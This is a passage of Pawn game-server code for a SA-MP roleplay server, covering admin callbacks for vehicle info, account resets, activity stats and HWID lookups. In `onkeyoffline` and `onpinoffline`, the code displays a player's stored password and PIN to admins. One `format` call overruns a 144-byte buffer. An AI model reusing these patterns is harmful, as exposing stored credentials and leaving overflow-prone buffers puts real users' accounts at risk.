		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  return 1;
	   }
		else if(MMID == 4)
	   {
			v = PINFO[targetid][pVeh4];
		  new rrtext[20];
		  if(vInfo[v][cLock] == 1) {rrtext = "Yes"; }
		  else if(vInfo[v][cLock] == 0) {rrtext = "No"; }
		  new string[256];
		  new sname[MAX_PLAYER_NAME];
		  GetPlayerName(targetid,sname,sizeof(sname));
		  new vehicles = GetVehicleModel(PlayerInfo[targetid][pCar_4]) - 400;
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  format(string, 256, "*** %s's vehicle ***", sname);
		  SendMessage(playerid, COLOR_WHITE, string);
		  format(string, 256, "Model:[%s] Standar Price:[$%s] Locked:[%s] Times Destroyed:[%d] Insurance Amount:[%d]", aVehicleNames[vehicles], FormatNumber(vInfo[v][cPrice]), rrtext,vInfo[v][cDestroyed],vInfo[v][cInsurance]);
		  SendMessage(playerid, COLOR_GRAD3, string);
		  format(string, 256, "Plate:[%s{BFC0C2}] Color id 1:[%d] Color id 2:[%d] Fuel:[%s%%%] Odometer:[%.2f]",vInfo[v][cPlate],vInfo[v][cColor1],vInfo[v][cColor2],FormatNumber(Benzin[PINFO[targetid][pCar_4]]),vInfo[v][cKilo]);
		  SCM(playerid,COLOR_GRAD2, string);
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  return 1;
	   }
		else if(MMID == 5)
	   {
			v = PINFO[targetid][pVeh5];
		  new rrtext[20];
		  if(vInfo[v][cLock] == 1) {rrtext = "Yes"; }
		  else if(vInfo[v][cLock] == 0) {rrtext = "No"; }
		  new string[256];
		  new sname[MAX_PLAYER_NAME];
		  GetPlayerName(targetid,sname,sizeof(sname));
		  new vehicles = GetVehicleModel(PlayerInfo[targetid][pCar_5]) - 400;
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  format(string, 256, "*** %s's vehicle ***", sname);
		  SendMessage(playerid, COLOR_WHITE, string);
		  format(string, 256, "Model:[%s] Standar Price:[$%s] Locked:[%s] Times Destroyed:[%d] Insurance Amount:[%d]", aVehicleNames[vehicles], FormatNumber(vInfo[v][cPrice]), rrtext,vInfo[v][cDestroyed],vInfo[v][cInsurance]);
		  SendMessage(playerid, COLOR_GRAD3, string);
		  format(string, 256, "Plate:[%s{BFC0C2}] Color id 1:[%d] Color id 2:[%d] Fuel:[%s%%%] Odometer:[%.2f]",vInfo[v][cPlate],vInfo[v][cColor1],vInfo[v][cColor2],FormatNumber(Benzin[PINFO[targetid][pCar_5]]),vInfo[v][cKilo]);
		  SCM(playerid,COLOR_GRAD2, string);
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  return 1;
	   }
		else if(MMID == 6)
	   {
			v = PINFO[targetid][pVeh6];
		  new rrtext[20];
		  if(vInfo[v][cLock] == 1) {rrtext = "Yes"; }
		  else if(vInfo[v][cLock] == 0) {rrtext = "No"; }
		  new string[256];
		  new sname[MAX_PLAYER_NAME];
		  GetPlayerName(targetid,sname,sizeof(sname));
		  new vehicles = GetVehicleModel(PlayerInfo[targetid][pCar_6]) - 400;
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  format(string, 256, "*** %s's vehicle ***", sname);
		  SendMessage(playerid, COLOR_WHITE, string);
		  format(string, 256, "Model:[%s] Standar Price:[$%s] Locked:[%s] Times Destroyed:[%d] Insurance Amount:[%d]", aVehicleNames[vehicles], FormatNumber(vInfo[v][cPrice]), rrtext,vInfo[v][cDestroyed],vInfo[v][cInsurance]);
		  SendMessage(playerid, COLOR_GRAD3, string);
		  format(string, 256, "Plate:[%s{BFC0C2}] Color id 1:[%d] Color id 2:[%d] Fuel:[%s%%%] Odometer:[%.2f]",vInfo[v][cPlate],vInfo[v][cColor1],vInfo[v][cColor2],FormatNumber(Benzin[PINFO[targetid][pCar_6]]),vInfo[v][cKilo]);
		  SCM(playerid,COLOR_GRAD2, string);
		  SendMessage(playerid, CRISTIAN,"_______________________________________");
		  return 1;
	   }
	}
	return 1;
}
forward garbage(playerid,cp,Float:posx,Float:posy,Float:posz);
public garbage(playerid,cp,Float:posx,Float:posy,Float:posz)
{
	TogglePlayerControllable(playerid,1);
	SCM(playerid,COLOR_MAMAD,"Go to the next checkpoint.");
	Trashes[playerid] += 1;
	OnCheckpoint[playerid] = 1;
	CP[playerid] = cp;
	SetPlayerCheckpoint(playerid,posx,posy,posz,4);
	return 1;
}
public onmoneyoffline(playerid,name[])
{
	new rows=cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new tarafid = ReturnUser2(name);
	new VaZe[144];
	if(!IsPlayerConnected(tarafid))
	{
	new xxs=cache_get_field_content_int(0,"pAdmin");
	if(xxs>PINFO[playerid][pAdmin])return Error(playerid, "Error: You can't use this command for your higher ranks people.")
	new query[500];
	mysql_format(handle, query, 500, "UPDATE `users` SET pCash='0' WHERE pName='%e'",name);
	mysql_tquery(handle, query, "SendQuery", "");
	mysql_format(handle, query, 500, "UPDATE `users` SET pAccount='0' WHERE pName='%e'",name);
	mysql_tquery(handle, query, "SendQuery", "");
	mysql_format(handle, query, 500, "UPDATE `users` SET pRep='0' WHERE pName='%e'",name);
	mysql_tquery(handle, query, "SendQuery", "");
	mysql_format(handle, query, 500, "UPDATE `users` SET pGold='0' WHERE pName='%e'",name);
	mysql_tquery(handle, query, "SendQuery", "");
	}
	else
	{
	  if(PINFO[tarafid][pAdmin]>PINFO[playerid][pAdmin])return Error(playerid, "Error: You can't use this command for your higher ranks people.")
	  PlayerInfo[tarafid][pCash] = 0;
	  SaveKonVal(tarafid, "pCash", PINFO[tarafid][pCash]);
	  PlayerInfo[tarafid][pAccount] = 0;
	  SaveKonVal(tarafid, "pAccount", PINFO[tarafid][pAccount]);
	  PlayerInfo[tarafid][pRep] = 0;
	  SaveKonVal(tarafid, "pRep", PINFO[tarafid][pRep]);
	  PlayerInfo[tarafid][pGold] = 0;
	  SaveKonVal(tarafid, "pGold", PINFO[tarafid][pGold]);
	  format(VaZe, 144, "Your account has been reset by admin %s",PINFO[playerid][pName]);
	  SendMessage(tarafid, COLOR_Good, VaZe);
	}
	  format(VaZe, sizeof(VaZe), "{ffffff}Admin %s has reset %s's account",RPName(playerid), name);
      AdminWarn(VaZe);
return 1;
}
public onpinoffline(playerid,name[])
{
	new rows=cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new Data[7];
	//new password[128];
	Data[0]=cache_get_field_content_int(0,"pPin1");
	Data[1]=cache_get_field_content_int(0,"pPin2");
	Data[2]=cache_get_field_content_int(0,"pPin3");
	Data[3]=cache_get_field_content_int(0,"pPin4");
	Data[4]=cache_get_field_content_int(0,"pPinned");
	Data[5]=cache_get_field_content_int(0,"pAdmin");
	new pin1 = Data[0];
	new pin2 = Data[1];
	new pin3 = Data[2];
	new pin4 = Data[3];
	new pinzade = Data[4];
	new admin = Data[5];
	if(PINFO[playerid][pAdmin] < admin) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
	if(pinzade != 1)
	{
	 new strmstrz[256];
	 format(strmstrz,256,"%s's Pin is: ( {FFFFFF}No Pin Received{FFFF00} )", name);
	 SendClientMessage(playerid, COLOR_YELLOW, strmstrz);
	}
	else {
	 new strmstr[256];
	 format(strmstr,256,"%s's Pin is: ( {FFFFFF}%d%d%d%d{FFFF00} )", name, pin1, pin2, pin3, pin4);
	 SendClientMessage(playerid, COLOR_YELLOW, strmstr);
	 }
return 1;
}
public oncheckfactivity(playerid,name[])
{
	new facid,act1,act2,act3,act4,cht[144],rows;
	rows=cache_num_rows();
	facid = cache_get_field_content_int(0,"pMember");
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player is not exist in the database.");
	if(facid != PINFO[playerid][pLeader])return Error(playerid, "Error: You can't use this command on this player.")
	act1 = cache_get_field_content_int(0,"pFAct1");
	act2 = cache_get_field_content_int(0,"pFAct2");
	act3 = cache_get_field_content_int(0,"pFAct3");
	act4 = cache_get_field_content_int(0,"pFAct4");
    if(facid == 5 || facid == 6 || facid == 12 || facid == 13 || facid == 14 || facid == 15)
    {
    format(cht, sizeof(cht), "Materials Put: %s | Drugs Put: %s | Kills On War: %s | Deaths On War: %s", FormatNumber(act1), FormatNumber(act2), FormatNumber(act3), FormatNumber(act4));
    }
    if(facid == 1)
    {
    format(cht, sizeof(cht), "Arrests: %s | Tickets: %s", FormatNumber(act1), FormatNumber(act2));
    }
    if(facid == 2)
    {
    format(cht, sizeof(cht), "Arrests: %s | Frisk: %s", FormatNumber(act1), FormatNumber(act2));
    }
    if(facid == 3)
    {
    format(cht, sizeof(cht), "Arrests: %s | Wanted Kills: %s", FormatNumber(act1), FormatNumber(act2));
    }
    if(facid == 4)
    {
    format(cht, sizeof(cht), "Heals: %s | SHeals: %s", FormatNumber(act1), FormatNumber(act2));
    }
    if(facid == 8)
    {
    format(cht, sizeof(cht), "Killed Contracts: %s", FormatNumber(act1));
    }
    if(facid == 9)
    {
    format(cht, sizeof(cht), "News: %s | Lives: %s", FormatNumber(act1), FormatNumber(act2));
    }
    if(facid == 10)
    {
    format(cht, sizeof(cht), "Arrived Passengers: %s", FormatNumber(act1));
    }
    if(facid == 11)
    {
    format(cht, sizeof(cht), "Started Lessons: %s | Given Licenses: %s", FormatNumber(act1), FormatNumber(act2));
    }
    if(facid == 16)
    {
    format(cht, sizeof(cht), "Towed Cars At LS: %s | Towed Cars At LV: %s", FormatNumber(act1), FormatNumber(act2));
    }
    if(facid == 17)
    {
    format(cht, sizeof(cht), "Freed People From Jail: %s | Cleared People's Wanteds: %s", FormatNumber(act1), FormatNumber(act2));
    }
    SCM(playerid, COLOR_Good, cht);
return 1;
}
public oncheckactivity(playerid,name[])
{
	new rows=cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new Data[12];
	Data[0]=cache_get_field_content_int(0,"pActA");
	Data[1]=cache_get_field_content_int(0,"pActH");
	Data[2]=cache_get_field_content_int(0,"pActL");
	Data[3]=cache_get_field_content_int(0,"pActHour");
	Data[4]=cache_get_field_content_int(0,"pActMin");
	Data[5]=cache_get_field_content_int(0,"pActSec");
	Data[6]=cache_get_field_content_int(0,"pAdmin");
	Data[7]=cache_get_field_content_int(0,"pHelper");
	Data[8]=cache_get_field_content_int(0,"pLeader");
	Data[9]=cache_get_field_content_int(0,"pActSecOver");
	Data[10]=cache_get_field_content_int(0,"pActMinOver");
	Data[11]=cache_get_field_content_int(0,"pActHourOver");
	//Data[9]=cache_get_field_content_int(0,"pName");
	new adminact = Data[0];
	new helperact = Data[1];
//	new leaderact = Data[2];
	new acthour = Data[3];
	new actmin = Data[4];
	new actsec = Data[5];
	new admin = Data[6];
	new helper = Data[7];
	new leader = Data[8];
	new wholesec = Data[9];
	new wholemin = Data[10];
	new wholehour = Data[11];
	new stringz[144];
	new stringzz[144];
	new stringzxx[144];
	//new name = Data[9];
	if(admin == 0 && helper == 0 && leader == 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't in staff team.");
		if(helper >= 1 && leader == 0 && admin == 0)
		{
		 if(acthour < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, helperact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(acthour >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, helperact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(admin >= 1 && leader == 0 && helper == 0)
		{
		 if(acthour < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, adminact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(acthour >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, adminact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(leader >= 1 && helper == 0 && admin == 0)
		{
		 if(acthour < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d", acthour, actmin, actsec);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(acthour >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d", acthour, actmin, actsec);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(admin >= 1 && helper >= 1 && leader == 0)
		{
		 if(acthour < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, adminact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(acthour >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, adminact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(admin >= 1 && helper >= 1 && leader >= 1)
		{
		if(acthour < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, adminact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(acthour >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, adminact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(helper >= 1 && leader >= 1 && admin == 0)
		{
		 if(acthour < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, helperact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(acthour >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, helperact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
		if(admin >= 1 && leader >= 1 && helper == 0)
		{
		 if(acthour < 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {ff0000}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, adminact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		 else if(acthour >= 3)
		 {
		 format(stringzz, sizeof(stringzz), "______________________[{ffffff}%s's activity{33AA33}]_____________________", name);
		 SendClientMessage(playerid, COLOR_GREEN, stringzz);
		 format(stringz, sizeof(stringz), "Today - Active Time: {00ff00}%02d:%02d:%02d{ffffff} - Activity:{00ff00} %d", acthour, actmin, actsec, adminact);
		 SendClientMessage(playerid, COLOR_WHITE, stringz);
 		 format(stringzxx, sizeof(stringzxx), "Whole Time - Active Time: {ff00ff}%02d:%02d:%02d", wholehour, wholemin, wholesec);
		 SendClientMessage(playerid, COLOR_WHITE, stringzxx);
		 }
		return 1;
		}
	
	
return 1;
}
public onkeyoffline(playerid,name[])
{
	new rows=cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new Data[1];
	new password[102];
	Data[0]=cache_get_field_content_int(0,"pAdmin");
	new admin = Data[0];
	if(PINFO[playerid][pAdmin] < admin) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
	cache_get_row(0,1,password,handle,102);
	 new strmstr[144];
	 format(strmstr,256,"%s's Password is: ( {FFFFFF}%s{FFFF00} )", name, password);
	 SendClientMessage(playerid, COLOR_YELLOW, strmstr);
return 1;
}
public onhwidoffline(playerid,name[])
{
	new rows=cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new Data[2];
	new hwid[128];
	new rhwid[128];
	new khat[100];
	new rxhwid[45];
	new rzhwid[45];
	Data[0]=cache_get_field_content_int(0,"pAdmin");
	Data[1]=cache_get_field_content_int(0,"pSex");
	new admin = Data[0];
	if(PINFO[playerid][pAdmin] < admin) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
	cache_get_row(0,169,hwid,handle,128);
	cache_get_row(0,170,rhwid,handle,128);
	format(khat, sizeof(khat), "_______________________________[{ffffff}%s{0DC013}]_______________________________", name);
	SendClientMessage(playerid, CRISTIAN, khat);
	SendMessage(playerid, COLOR_YELLOW2, "Registered HWID:");
	format(rxhwid, sizeof(rxhwid), "%s", rhwid);
	SendClientMessage(playerid, COLOR_SINARANG, rxhwid);
	if(Data[1] == 1) SendMessage(playerid, COLOR_YELLOW2, "Last HWID on his last login:");
	if(Data[1] != 1) SendMessage(playerid, COLOR_YELLOW2, "Last HWID on her last login:");
	format(rzhwid, sizeof(rzhwid), "%s", hwid);
	SendClientMessage(playerid, COLOR_SINARANG, rzhwid);
	SendMessage(playerid, CRISTIAN, "____________________________________________________________");
return 1;
}
/*
forward OnOfflineChangeNickSearch(oldname[],taraf[],playerid);
public OnOfflineChangeNickSearch(oldname[],taraf[],playerid)
{
	new rows=cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new tmp[MAX_PLAYER_NAME];
	cache_get_field_content(0,"pMarriedTo",tmp,handle,sizeof(tmp));
	new query[128];
	mysql_format(handle,query,sizeof(query),"UPDATE `users` SET pName='%e' WHERE pName='%e'",taraf,oldname);
	mysql_tquery(handle,query,"OnOfflinePlayerNickChanged","ssiiiis",oldname,taraf,playerid,cache_get_field_content_int(0,"pPhousekey"),cache_get_field_content_int(0,"pPbiskey"),cache_get_field_content_int(0,"pPbiskey"),tmp);
	return 1;
}
forward OnOfflinePlayerNickChanged(oldname[],taraf[],playerid,house,bouse,sbiz,MarriedTo[]);
public OnOfflinePlayerNickChanged(oldname[],taraf[],playerid,house,bouse,sbiz,MarriedTo[])
{
	new string[768];
	//format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Admin %s has changed offline player %s nickname to %s.",RPName(playerid),oldname,taraf);
	//SendAdminMessage(COLOR_AdminWarn,str);
	new ssttrr[256];
	format(ssttrr,256,"{FFFFFF}Admin %s changed %s's name to %s (Offline)",RPName(playerid),oldname,taraf);
	AdminWarn(ssttrr);
	if(house!=9999)
	{
	   if(strcmp(oldname, HouseInfo[house][hOwner], true) == 0)
	   {
		  strmid(HouseInfo[house][hOwner], taraf, 0, strlen(taraf), 255);
		  if(HouseInfo[house][hOwned]==1)
		  {
			 if(HouseInfo[house][hRentabil]==1)
			 {
				format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This house is owned by: {FFFFFF}%s \n{009A00}Rent Price: {FFFFFF}$%s \n{009A00}Level: {FFFFFF}%d \n{009A00}To rent a room type {FFFFFF}/rentroom",house,HouseInfo[house][hOwner],FormatNumber(HouseInfo[house][hRent]),HouseInfo[house][hLevel]);
				UpdateDynamic3DTextLabelText(houser[house],-1,string);
			 }
			 else
			 {
				format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This house is owned by: {FFFFFF}%s \n{009A00}Level: {FFFFFF}%d",house,HouseInfo[house][hOwner], HouseInfo[house][hLevel]);
				UpdateDynamic3DTextLabelText(houser[house],-1,string);
			 }
		  }
		  else if(HouseInfo[house][hOwned]==2)
		  {
			 if(HouseInfo[house][hRentabil]==1)
			 {
				format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This House is for sale\nOwned by: {FFFFFF}%s \n{009A00}Rent Price: {FFFFFF}$%s\n{009A00}Level: {FFFFFF}%d \n{009A00}Cost: {FFFFFF}$%s\n{009A00}To rent a room type {FFFFFF}/rentroom\n{009A00}To buy this house type {FFFFFF}/buyhouse",house,HouseInfo[house][hOwner],FormatNumber(HouseInfo[house][hRent]),HouseInfo[house][hLevel],FormatNumber(HouseInfo[house][hForosh]));
				UpdateDynamic3DTextLabelText(houser[house],-1,string);
			 }
			 else
			 {
				format(string, sizeof(string), "{009A00}House ID %d\n{009A00}This House is for sale\nOwned by: {FFFFFF}%s \n{009A00}Level: {FFFFFF}%d\n{009A00}Cost: {FFFFFF}$%s\n{009A00}To buy this house type {FFFFFF}/buyhouse",house,HouseInfo[house][hOwner], HouseInfo[house][hLevel], FormatNumber(HouseInfo[house][hForosh]));
				UpdateDynamic3DTextLabelText(houser[house],-1,string);
			 }
		  }
		  //SaveHouse(house);
	   }
	}
	if(bouse!=9999)
	{
	   if(strcmp(oldname, BizzInfo[bouse][bOwner], false) == 0)
	   {
		  strmid(BizzInfo[bouse][bOwner],taraf,0,strlen(taraf),255);
		  if(BizzInfo[bouse][bOwned] == 1)
		  {
			 format(string, sizeof(string), "{3366ff}Biz ID %d \n{FFFFFF}%s \n{3366ff}This Business is owned by: {FFFFFF}%s \n{3366ff}Entrance Fee: {FFFFFF}$%s \n{3366ff}Type: {FFFFFF}/enterbiz to enter",BizzInfo[bouse],BizzInfo[bouse][bMessage],BizzInfo[bouse][bOwner],FormatNumber(BizzInfo[bouse][bEntranceCost]));
			 UpdateDynamic3DTextLabelText(bizer[bouse], COLOR_BIZ, string);
		  }
		  else if(BizzInfo[bouse][bOwned] == 2)
		  {
			 format(string, sizeof(string), "{3366ff}Biz ID %d \n{FFFFFF}%s \n{3366ff}This Business is for sale \n{3366ff}Owned by: {FFFFFF}%s \n{3366ff}Entrance Fee: {FFFFFF}$%s \n{3366ff}Cost: {FFFFFF}$%s \n{3366ff}Type: {FFFFFF}/enter to enter \n{3366ff}to buy this Business type {FFFFFF}/buybiz",BizzInfo[bouse],BizzInfo[bouse][bMessage],BizzInfo[bouse][bOwner],FormatNumber(BizzInfo[bouse][bEntranceCost]),FormatNumber(BizzInfo[bouse][bForosh]));
			 UpdateDynamic3DTextLabelText(bizer[bouse], COLOR_BIZ, string);
		  }
		  //SaveBus(bouse);
	   }
	}
	if(sbiz!=9999)
	{
	   if(SBizzInfo[sbiz][sbOwned] == 1)
	   {
		  format(string, sizeof(string), "{0000FF}SBiz ID %d\n{FFFFFF}%s\n{0000FF}This Business is owned by:{FFFFFF} %s\n{0000FF}Fee: {FFFFFF}$%d",SBizzInfo[sbiz],SBizzInfo[sbiz][sbMessage],SBizzInfo[sbiz][sbOwner],SBizzInfo[sbiz][sbEntranceCost]);
		  UpdateDynamic3DTextLabelText(sbizer[sbiz],-1,string);
	   }
	   else if(SBizzInfo[sbiz][sbOwned] == 2)
	   {
		  format(string, sizeof(string), "{0000FF}SBiz ID %d\n{FFFFFF}%s\n{0000FF}This Business is for sale\nOwned by: {FFFFFF}%s\n{0000FF}Fee: {FFFFFF}$%s\n{0000FF}Cost: {FFFFFF}$%s\n{0000FF}to buy this Business type {FFFFFF}/buybiz",SBizzInfo[sbiz],SBizzInfo[sbiz][sbMessage],SBizzInfo[sbiz][sbOwner],FormatNumber(SBizzInfo[sbiz][sbEntranceCost]),FormatNumber(SBizzInfo[sbiz][sbForosh]));
		  UpdateDynamic3DTextLabelText(sbizer[sbiz],-1,string);
	   }
	   //SaveSBus(sbiz);
	}
	if(!strcmp(MarriedTo,"No-one",true))
	{

	}
	else
	{
	new idtmp=ReturnUserEx(MarriedTo);
	if(idtmp==INVALID_PLAYER_ID)
	{
		new query[115];
		mysql_format(handle,query,sizeof(query),"UPDATE `users` SET pMarriedTo='%e' WHERE pMarriedTo='%e'",taraf,MarriedTo);
		mysql_tquery(handle,query);
	}
	else
	{
		format(PlayerInfo[idtmp][pMarriedTo],MAX_PLAYER_NAME,taraf);
	}
	}
	return 1;
}
*/






/*
forward MySQLCheckAccount(sqlplayersname[]);
public MySQLCheckAccount(sqlplayersname[])
{
	new frmt[128],
		escstr[MAX_PLAYER_NAME];
	format(frmt, sizeof(frmt), handle, "SELECT `pID` FROM users WHERE `pName` = '%e'", escstr);
	mysql_tquery(handle,frmt);
	mysql_store_result();
	if (mysql_num_rows()==0)
	{
		mysql_free_result();
		return 0;
	}
	else
	{
		new strid[32],
			intid;
		mysql_fetch_row(strid);
		intid = strval(strid);
		mysql_free_result();
		return intid;
	}
}

*/

public oncheckoffline(playerid,name[])
{
	new rows=cache_num_rows();
	if(!rows)return SCM(playerid,COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new Data[69];
	//new password[128];
	new emailss[128];
	Data[0]=cache_get_field_content_int(0,"pCash");
	Data[1]=cache_get_field_content_int(0,"pSex");
	Data[2]=cache_get_field_content_int(0,"pJailed");
	Data[3]=cache_get_field_content_int(0,"pPremiumAccount");
	Data[4]=cache_get_field_content_int(0,"pMuted");
	Data[5]=cache_get_field_content_int(0,"pLevel");
